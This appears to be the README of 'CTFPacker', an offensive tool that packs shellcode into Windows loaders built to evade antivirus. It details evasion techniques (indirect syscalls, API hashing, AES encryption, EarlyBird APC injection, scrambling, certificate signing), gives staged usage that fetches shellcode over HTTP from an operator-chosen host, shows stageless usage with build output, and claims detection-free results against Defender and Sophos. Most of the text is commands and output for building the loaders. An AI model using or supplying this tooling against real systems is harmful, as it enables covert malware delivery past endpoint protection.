CTFPacker
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░
Table-Of-Contents
Goal
This repository has been created to facilitate AV evasion during CTFs and/or pentest & red team exams. The goal is to focus more on pwning rather than struggeling with evasion !
General Information
Caution
This tool is designed for authorized operations only. I AM NOT RESPONSIBLE FOR YOU ACTIONS. DON'T DO BAD STUFF.
Note
- The techniques used in the loader are nothing new. The loader generated from this packer will probably NOT evade modern AVs / EDRs. Do not expect that or anything ground breaking.
- Most of the evasion techniques used here are NOT from me. I just added a bunch of known stuff together and it is enough for CTFs !
- Depending on the interest shown to this project, I might add some techniques from my own research and maybe expand/rewrite the packer entirely.
Evasion Features
- Indirect Syscalls via Syswhispers (rewrote in NASM compatible assembly)
- API Hashing
- Custom GetProcAddr & GetModuleHandle functions
- Custom AES-128-CBC mode encryption & decryption
- EarlyBird APC Injection
- Possiblity to choose between staged or stageless loader
- "Polymorphic" behavior with the
-sargument
Installation
Depending on your OS, the installation will slightly differ. In general, make sure you have the following stuff installed:
- CLANG compiler (x86_64-w64-mingw32-clang on linux)
- MinGW-w64 Toolchain
- Make
If I am not mistaken, those are by default installed on KALI Linux. However, if you want to install them manually, this should do the trick:
# Assuming Debian based system
sudo apt update
sudo apt install clang mingw-w64 make
# Verify installation
x86_64-w64-mingw32-clang --version
make --version
Itt's a bit different on Windows. You need to install the MinGW-w64 toolchain by installing MSYS2 first.
# Go there and install this
https://www.msys2.org/
# Then
pacman -Syu
pacman -S mingw-w64-x86_64-clang
# Veryify installation
x86_64-w64-mingw32-clang --version
# Install make
pacman -S make
# Verify installation
make --version
You should also check under C:\msys64\mingw64\bin. This is a common place where the toolchain is being installed.
After the basis installation, don't forget to install the python requirements ! Otherwise the packer will not work :D !
# Create a virtual env if you want, or use the --break-system-packages if you're brave enough xD
python3 -m pip install -r requirements.txt --break-system-packages
# The proper way
python3 -m venv env
source env/bin/activate
python3 -m pip install -r requirements.txt
# Once you're done using the tool
deactivate
Makefile
You should NOT modify the Makefile unless you know what you are doing ! BUT, there's one thing you should check after the installation process. The first line of the Makefile indicates your compiler. Verify if the compiler matches with the one you installed earlier on your system. You can refer to the appropriate Makefile (windows / linux) in this repo.
# Verify this line
CLANG := x86_64-w64-mingw32-clang
Usage
General usage:
usage: main.py [-h] {staged,stageless} ...
CTFPacker
positional arguments:
{staged,stageless} Staged or Stageless Payloads
staged Staged
stageless Stageless
options:
-h, --help show this help message and exit
Staged:
usage: main.py staged [-h] -p PAYLOAD -i IP_ADDRESS -po PORT -pa PATH [-o OUTPUT] [-e] [-s] [-si]
options:
-h, --help show this help message and exit
-p PAYLOAD, --payload PAYLOAD
Shellcode to be packed
-i IP_ADDRESS, --ip-address IP_ADDRESS
IP address from where your shellcode is gonna be fetched.
-po PORT, --port PORT
Port from where the HTTP connection is gonna fetch your shellcode.
-pa PATH, --path PATH
Path from where your shellcode uis gonna be fetched.
-o OUTPUT, --output OUTPUT
Output path where the shellcode is gonna be saved.
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
-s, --scramble Scramble the loader's functions and variables.
-si, --sign Sign the loader with a random certificate.
Example usage: python main.py staged -p shellcode.bin -i 192.168.1.150 -po 8080 -pa '/shellcode.bin' -o shellcode -e -s -si
Stageless:
usage: main.py stageless [-h] -p PAYLOAD [-o OUTPUT] [-e] [-s] [-si]
options:
-h, --help show this help message and exit
-p PAYLOAD, --payload PAYLOAD
Shellcode to be packed
-o OUTPUT, --output OUTPUT
Output path where the loader is gonna be saved.
-e, --encrypt Encrypt the shellcode via AES-128-CBC.
-s, --scramble Scramble the loader's functions and variables.
-si, --sign Sign the loader with a random certificate.
Example usage: python main.py stageless -p shellcode.bin -o shellcode -e -s -si
Staged
When using the staged "mode", the packer will generate you a .bin file named accordingly to your -o arg. With the -pa argument, you are actually telling the loader where on the websever (basically the path) it should search for that .bin file. So TLDR those two values should usually be the same.
Example:
python main.py staged -p "C:\Code\CTFPacker\calc.bin" -i 192.168.2.121 -po 8080 -pa /shellcode.bin -o shellcode -s -si
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░
Author: B0lg0r0v
https://arthurminasyan.com
[i] Staged Payload selected.
[+] Starting the process...
[i] Corresponding template selected..
[+] Template files modified !
[i] Encryption not selected.
[+] Compiling the loader...
[i] Scrambling selected.
[+] Scrambling the loader...
[+] Loader scrambled !
[i] Signing selected.
[+] Signing the loader...
rm -f *.o *.obj ctfloader.exe
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c api_hashing.c -o api_hashing.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c download.c -o download.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c inject.c -o inject.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c main.c -o main.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c unhook.c -o unhook.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c whispers.c -o whispers.o
nasm -f win64 whispers-asm.x64.asm -o whispers-asm.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -o ctfloader.exe api_hashing.o download.o inject.o main.o unhook.o whispers.o whispers-asm.o -Wl,--disable-auto-import -s -lwinhttp -lntdll
Connecting to http://timestamp.sectigo.com
Succeeded
[+] Loader signed !
[+] DONE !
With this command, your telling the loader to connect to the 192.168.2.121 IP, at port 8080 and download the shellcode.bin file. So you should serve this file via a webserver.
C:\Code\CTFPacker\CTF Packer>ls
shellcode.bin
C:\Code\CTFPacker\CTF Packer>python -m http.server 8080
Serving HTTP on :: port 8080 (http://[::]:8080/) ...
Stageless
This is fairly simple. The shellcode will be included into the loader. I recommend you to use the encryption arg -e. Otherwise the signature-based detection will likely catch it.
C:\Code\CTFPacker>ls
core custom_certs main.py requirements.txt templates
C:\Code\CTFPacker>python main.py stageless -p "C:\Code\CTFPacker\calc.bin" -o shellcode -e -s
▄████▄ ▄▄▄█████▓ █████▒██▓███ ▄▄▄ ▄████▄ ██ ▄█▀▓█████ ██▀███
▒██▀ ▀█ ▓ ██▒ ▓▒▓██ ▒▓██░ ██▒▒████▄ ▒██▀ ▀█ ██▄█▒ ▓█ ▀ ▓██ ▒ ██▒
▒▓█ ▄ ▒ ▓██░ ▒░▒████ ░▓██░ ██▓▒▒██ ▀█▄ ▒▓█ ▄ ▓███▄░ ▒███ ▓██ ░▄█ ▒
▒▓▓▄ ▄██▒░ ▓██▓ ░ ░▓█▒ ░▒██▄█▓▒ ▒░██▄▄▄▄██ ▒▓▓▄ ▄██▒▓██ █▄ ▒▓█ ▄ ▒██▀▀█▄
▒ ▓███▀ ░ ▒██▒ ░ ░▒█░ ▒██▒ ░ ░ ▓█ ▓██▒▒ ▓███▀ ░▒██▒ █▄░▒████▒░██▓ ▒██▒
░ ░▒ ▒ ░ ▒ ░░ ▒ ░ ▒▓▒░ ░ ░ ▒▒ ▓▒█░░ ░▒ ▒ ░▒ ▒▒ ▓▒░░ ▒░ ░░ ▒▓ ░▒▓░
░ ▒ ░ ░ ░▒ ░ ▒ ▒▒ ░ ░ ▒ ░ ░▒ ▒░ ░ ░ ░ ░▒ ░ ▒░
░ ░ ░ ░ ░░ ░ ▒ ░ ░ ░░ ░ ░ ░░ ░
░ ░ ░ ░░ ░ ░ ░ ░ ░ ░
░ ░
Author: B0lg0r0v
https://arthurminasyan.com
[i] Stageless Payload selected.
[+] Starting the process...
[+] Template files modified !
[i] Encryption selected.
[+] Encrypting the payload...
[+] Payload encrypted and saved into payload[] variable in main.c !
[i] Scrambling selected.
[+] Scrambling the loader...
[+] Loader scrambled !
rm -f *.o *.obj ctfloader.exe
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c api_hashing.c -o api_hashing.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c inject.c -o inject.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c main.c -o main.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c unhook.c -o unhook.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -c whispers.c -o whispers.o
nasm -f win64 whispers-asm.x64.asm -o whispers-asm.o
C:\msys64\mingw64\bin\clang -static -O0 -Wall -w -o ctfloader.exe api_hashing.o inject.o main.o unhook.o whispers.o whispers-asm.o -Wl,--disable-auto-import -s -lwinhttp -lntdll
[+] Loader compiled !
[+] DONE !
C:\Code\CTFPacker>ls
core ctfloader.exe custom_certs main.py requirements.txt shellcode.bin templates
To-Do
- Maybe adding a setup.py file to install via pip / pipx
- Other templates with different injection techniques
- Adding AMSI / ETW bypass (depends on what injection technique I am going to put here)
Detections
- Undetected on the latest Windows 11 Defender (2025-03-18, Version 1.425.89.0)
- Undetected on Windows 10 Defender
- Undetected on the latest Sophos Home Premium (Version 2023.2.2.2)
Credits - References
Most of the code is not from me. Here are the original authors:
@ Maldevacademy - https://maldevacademy.com
@ SaadAhla - https://github.com/SaadAhla/ntdlll-unhooking-collection
@ VX-Underground - https://github.com/vxunderground/VX-API/blob/main/VX-API/GetProcAddressDjb2.cpp
@ klezVirus - https://github.com/klezVirus/SysWhispers3